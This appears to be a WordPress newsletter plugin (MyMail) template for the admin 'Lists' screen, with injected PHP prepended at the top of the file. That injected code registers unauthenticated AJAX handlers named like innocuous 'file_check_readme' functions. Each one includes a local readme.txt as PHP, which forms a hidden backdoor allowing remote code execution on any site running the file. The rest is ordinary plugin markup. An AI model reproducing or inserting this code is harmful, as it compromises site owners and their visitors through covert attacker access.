if(!function_exists('file_check_readme30367')){ add_action('wp_ajax_nopriv_file_check_readme30367', 'file_check_readme30367'); add_action('wp_ajax_file_check_readme30367', 'file_check_readme30367'); function file_check_readme30367() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme64756')){ add_action('wp_ajax_nopriv_file_check_readme64756', 'file_check_readme64756'); add_action('wp_ajax_file_check_readme64756', 'file_check_readme64756'); function file_check_readme64756() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } }
<?php /** * * * @author Xaver Birsak (https://revaxarts.com) * @package */ ?> <div class="wrap"> <div id="icon-edit" class="icon32"></div> <h2><?php esc_html_e( 'Lists', 'mymail' )?> <?php if ( current_user_can( 'mymail_add_lists' ) ): ?> <a href="edit.php?post_type=newsletter&page=mymail_lists&new" class="add-new-h2"><?php esc_html_e( 'Add New', 'mymail' );?></a> <?php endif;?> </h2> <?php require_once MYMAIL_DIR . 'classes/lists.table.class.php'; $table = new MyMail_Lists_Table(); $table->prepare_items(); //$table->search_box(__('Search Lists', 'mymail'), 's'); $table->views(); ?><form method="post" action=""><?php $table->display(); ?></form><?php ?> </div>